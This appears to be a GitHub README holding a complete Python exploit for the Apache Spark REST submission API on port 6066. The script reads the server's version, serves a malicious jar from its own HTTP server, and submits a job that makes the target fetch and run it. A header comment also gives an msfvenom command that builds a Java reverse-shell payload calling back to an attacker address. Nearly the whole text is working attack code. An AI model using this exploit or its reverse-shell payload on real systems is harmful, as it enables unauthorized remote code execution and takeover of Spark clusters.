README.md
Rendering markdown...
#!/usr/bin/python3
#################################################################################################
# Generate payload with msfvenom eg.
# msfvenom -p java/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4444 -f jar -o exploit.jar
#################################################################################################
# How the exploit works.
# 1. HTTP GET target:6066
# 2. Extract serverSparkVersion from JSON response
# 3. Start HTTP server on 8080
# 4. Send CreateSubmissionRequest JSON data, providing URL/port of target server to DL payload from self HTTP server
# 5. Apache Spark will HTTP GET the specified srvhost:srvport. Reply with payload.
import requests
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse
from threading import Thread
import sys
import random
import string
import argparse
def randomString(length):
return (''.join(random.choice(string.ascii_letters) for m in range(length)))
def get_version(URL):
version = None
res = requests.get(URL)
if res.status_code == 401:
print(URL + " - Authentication required.")
return False
if res.status_code != 400:
return False
try:
res_json = json.loads(res.text)
version = res_json['serverSparkVersion']
except: # Catches all JSON method exceptions
print(URL + " - Cannot parse the response, seems like it's not Spark REST API.")
return False
return version
# Run payload server.
def run_server(server,duration):
server.timeout = duration
server.handle_request()
server.server_close()
def main(httpdelay,rhost,rport,srvhost,srvport,uripath,payload):
# This code serves whoever requests it the payload below, after waiting for httpdelay seconds
class PayloadServer(BaseHTTPRequestHandler):
# Read payload from file
f = open(payload,'rb')
jar_payload = f.read()
# Set custom HTTP version
http_version = 'HTTP/1.1'
#Overwrites "Server: xxx" in HTTP reply.
def version_string(self):
return "Apache"
#Silences http.server console logging, by overriding native methods.
def log_message(self,format,*args):
pass
def do_GET(self):
self.protocol_version = self.http_version
# Basically respond only if supplied path in GET matches uripath
path = self.path
if uripath in path:
print("Sending the payload to the server...")
self.send_response(200)
self.send_header("Content-Type","text/html")
self.send_header("Connection", "Keep-Alive")
self.send_header("Content-Length",len(self.jar_payload))
self.end_headers()
self.wfile.write(self.jar_payload)
URL = 'http://' + rhost + ':' + str(rport)
version = get_version(URL)
if version == False or version == None:
print("Something went horribly wrong and we couldn't continue to exploit.")
return 1
rand_appname = randomString(8 + random.randrange(8))
server = HTTPServer((srvhost,srvport),PayloadServer)
# Payload webserver runs in background.
bg_server = Thread(target=run_server,args=(server,float(httpdelay)))
bg_server.start()
print("Started Web server...")
# HTTP POSTing this CreateSubmissionRequest makes the target request and run the payload.
data = {
"action":"CreateSubmissionRequest",
"clientSparkVersion":version,
"appArgs":[],
"appResource":"http://" + srvhost + ":" + str(srvport) + '/' + uripath,
"environmentVariables":{"SPARK_ENV_LOADED":"1"},
"mainClass":"metasploit.Payload",
"sparkProperties": {
"spark.jars":"http://" + srvhost + ":" + str(srvport) + '/' + uripath,
"spark.driver.supervise":"false",
"spark.app.name":rand_appname,
"spark.eventLog.enabled":"true",
"spark.submit.deployMode":"cluster",
"spark.master":"spark://" + urlparse(URL).netloc
}
}
hdrs = {
'Content-Type': 'application/json;charset=UTF-8',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
}
res = requests.post(URL + '/v1/submissions/create',json=data,headers=hdrs)
return 0
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Call the exploit like this: \n ./exploit.py -httpdelay 10 -rhost 192.168.92.153 -rport 6066 -srvhost 192.168.92.134 -srvport 8080 -uripath path -payload exploit.jar", formatter_class=argparse.RawTextHelpFormatter)
parser._action_groups.pop()
required = parser.add_argument_group('Required arguments')
optional = parser.add_argument_group('Optional arguments')
optional.add_argument('-httpdelay',default=10,help='Number of seconds the web server will wait before termination. Default: 10s')
required.add_argument('-rhost',help='Target host running Apache Spark eg. 192.168.92.153',required=True)
optional.add_argument('-rport',default=6066,help='Target port running Apache Spark. Default: 6066')
required.add_argument('-srvhost',help='The local host to listen on. This must be an address on the local machine that Apache Spark can reach eg 192.168.92.134',required=True)
optional.add_argument('-srvport',default=8080,help='The local port to listen on. Default: 8080')
optional.add_argument('-uripath',default='path',help='The URI path for Webserver to serve for this exploit Default: path as in eg. http://192.168.92.134/path')
required.add_argument('-payload',help='Path to the malicious jar. eg dir/exploit.jar',required=True)
args = parser.parse_args()
sys.exit(main(args.httpdelay,args.rhost,args.rport,args.srvhost,args.srvport,args.uripath,args.payload))